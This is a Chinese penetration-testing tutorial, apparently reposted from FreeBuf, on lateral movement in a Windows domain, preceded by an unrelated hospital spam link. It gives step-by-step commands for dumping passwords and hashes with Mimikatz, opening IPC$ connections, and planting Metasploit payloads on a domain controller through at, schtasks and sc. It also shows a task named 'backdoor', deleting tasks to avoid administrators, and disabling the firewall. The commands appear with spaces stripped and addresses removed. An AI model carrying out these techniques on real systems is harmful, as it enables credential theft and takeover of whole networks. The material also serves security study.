治白癜风那家医院最好 https://jbk.39.net/yiyuanzaixian/bjzkbdfyy/ 转自freebuf 横向移动在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。 在这篇文章中,我们来讲解一下横向移动的思路与攻击手法。 由于最近开学了有很多很多的事,所以一直没有时间更新,文章可能略显仓促,不足之处还请多多指教。 本文大多是我最近的学习总结,专为想我一样正在入门的小白准备,文章内容基础且丰富,对于下面所讲的每种攻击手法的具体详情,还请阅读我的相关文章。大佬路过还望多多点评! 在接下来的前几个实验中,我们以下面这个内网环境作为测试环境: Windows7为跳板机 用户名: douser密码: Dotest Windowsserver为域控(主机名:WIN-ENS2VR5TR3N) 用户名: administrator 密码: Liu 攻击者已经获得了Windows7的权限,想要以Windows7作为跳板机进一步渗透内网的Windowsserver,并且攻击者已经在跳板机上面通过socks代理等技术使自己可以访问到内网的Windowsserver。接下来,攻击者将以各种横向移动的方法尝试获得内网Windowsserver的控制权。 获取域内单机密码与Hash在内网渗透中,很多横向移动的方法都需要攻击者先获取域用户的密码或者Hash值才能进行,比如哈希传递攻击、各种票据传递,还有黄金票据维持权限等等。 PwDump7工具Pwdump7可以在CMD下提取出系统中的用户的密码hash(包括LM和NTLM),需要系统权限,“骨灰”级黑客玩家可能听说过这个玩具。通过Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密码,对进一步渗透是有很大帮助的。 Mimikatz工具Mimikatz是由法国人Benjamin开发的一款功能强大的轻量级调试工具,因功能强大,能够直接读取Windows操作系统的明文密码,因而闻名于渗透测试领域。通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从lsass.exe进程中获取当前登录系统用户名的密码。 Mimikatz读取明文密码和hash也时最常用的方法。需要管理员权限。 privilege::debug//提升至debug权限sekurlsa::logonpasswords//抓取密码 此部分的更多详情请看我的文章《内网横向移动研究:获取域内单机密码与Hash》 利用Windows远程连接命令进行横向渗透在渗透测试中,拿到目标机器的用户明文密码或者NTLMHash后,可以用Windows自带的方法对远程目标系统进行命令行下的连接操作,连接远程主机并执行相关命令。也可以通过PTH的方法,将散列值或明文密码传递到目标机器中进行验证。 建立IPC连接IPC(InternetProcessConnection)是NT的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。 通过ipc,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。 通过执行以下命令,我们可以让win7与DC建立IPC连接 netuse\\DC的IP\ipc"password"/user:"username"netuse\\...\ipc"Liu"/user:"administrator"netuse//查看当前主机所建立的连接 如上图,我们成功让win7与DC建立IPC连接,之后我们便可以通过win7访问目标机器DC中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令了。 如,我们列出DC上C盘的目录: dir\\...\c 再如将文件复制到目标主机DC的C盘上面去:(在实战中,我们可以将木马程序复制到目标主机上去) copyC:\Users\douser\Desktop\whoami.txt\\...\c 在使用netuse命令与远程主机建立ipc连接后,还可以使用tasklist命令的/S、/U、/P参数列出目标远程主机上运行的进程(可能有点慢) /s:指要查看的远程系统的IP地址 /u:指定使用哪个用户执行这个远程命令 /p:指定该用户的密码 tasklist/S.../Uadministrator/Pliu 建立ipc连接的条件: 目标主机开启了和端口 目标主机管理员开启了ipc默认共享 在使用完ipc,命令如下: netuse\\IP/del/y建立其他共享连接 除了IPC链接,我们还可以与目标主机的其他共享建立连接,比如建立c盘共享连接: netuse\\...\c"Liu"/user:"administrator" 列出DC上C盘的目录: 但一般情况下,我们会建立IPC连接,因为利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。 利用Windows计划任务进行横向渗透利用at命令at命令是Windows自带的用于创建计划任务的命令,但是他主要工作在WindowsServer之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。操作如下: 1.先与目标主机建立ipc连接。 2.再使用nettime命令确定目标主机DC的当前时间: nettime\\... 3.然后使用copy命令远程操作,将metasploit生成的payload文件复制到目标系统C盘中: copyshell.exe\\...\c 4.接着使用at命令创建计划任务,让目标主机DC在指定的时间运行metasploit木马程序: at\\...18:53:00c:\shell.exe 如上图,成功在目标主机上创建了一个ID为1,在18:53:00执行shell.exe程序的计划任务 等到时间到达18:53:00时,目标主机上的木马程序shell.exe执行,攻击者主机上面的msfconsole上成功获得目标主机的meterpreter: 5.最后,我们使用完计划任务后,还需要将该计划任务删除,以免被网管理员发现: at\\...1/delete//1为计划任务的ID 除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用at计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后远程读取: at\\...17:05:00cmd.exe/c"ipconfigC:\Users\Administrator\result.txt"at\\...17:05:00cmd.exe/c"命令"目录\result.txt 然后用type命令远程读取该文本文件: type\\...\c\Users\Administrator\result.txt 如上图所示,命令执行成功。 利用schtasks命令上面我们讲了用at命令创建计划任务,但是该命令已经被WindowsVista、WindowsServer及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。 利用schtasks命令创建计划任务进行横向移动的操作流程如下: 1.先与目标主机建立ipc连接。 2.然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。 3.在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。命令如下: schtasks/create/s.../tnbackdoor/scminute/mo1/trc:\shell.exe/rusystem/f 在没有建立ipc连接时,要加上/u和/p参数分别设置用户名和密码。 但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问: 遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下: schtasks/create/s.../uadministrator/pLiu/tnbackdoor/scminute/mo1/trc:\shell.exe/rusystem/f 这样就行了: 4.然后执行如下命令立即运行该计划任务(也可以自己等一分钟): schtasks/run/s.../i/tnbackdoor//i:忽略任何限制立即运行任务schtasks/run/s.../i/tnbackdoor/uadministrator/pLiu//遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码 计划任务成功执行后,攻击者msfconsole上面即可得到目标主机DC的meterpreter: 5.计划任务成功运行后,执行如下命令强制删除该计划任务: schtasks/delete/s.../tn"backdoor"/f 除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取: schtasks/create/s.../tntest/scminute/mo1/tr"C:\Windows\System32\cmd.exe/cwhoamiC:\Users\Administrator\result.txt"/rusystem/f 立即启动该计划任务: schtasks/run/s.../i/tntest 最后利用type命令远程查看目标主机上的result.txt文件即可,如下图所示,命令执行成功: 注意:在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。 创建Windows服务来进行横向渗透使用条件: 当前跳板机用户具有管理员权限(因为要创建服务)。 与目标机器已经建立ipc连接 利用sc命令在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透 使用sc命令远程Windows服务操作需先建立IPC连接,否则在执行时会返回拒绝访问。流程基本如下: 1.先让跳板机与内网目标机DC建立ipc连接。 2.然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。 3.再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下: sc\\[主机名/IP]create[servicename]binpath="[path]"#创建计划任务启动程序sc\\WIN-ENS2VR5TR3Ncreatebindshellbinpath="c:\bind.exe" 注意这里的格式,“=”后面是必须空一格的,否则会出现错误。 4.立即启动该服务: sc\\WIN-ENS2VR5TR3Nstartbindshell 执行后,msf成功上线域控: 5.使用完后删除刚才创建的服务 sc\\[host]delete[servicename]#删除服务 我们还可以通过设置服务来关闭防火墙: sc\\WIN-ENS2VR5TR3Ncreateunablefirewallbinpath="netshadvfirewallsetallprofilesstateoff"sc\\WIN-ENS2VR5TR3Nstartunablefirewall利用PsExec工具进行横向渗透 测试环境如下: 如图中,右侧是一个内网环境,域名为god.org,有三台机器:Windows7(跳板机)、WindowsServer(DC)、WindowsServer。 WindowsServer(..52.)为域控制器(机器名为OWA),用户名为liukaifeng01,密码为Liufupeng。假设我们攻击者已经获得了Windows7(跳板机)域成员主机的控制权,需要进一步横向渗透去拿下内网的其他机器域控。 利用PsExec.exe工具下载
|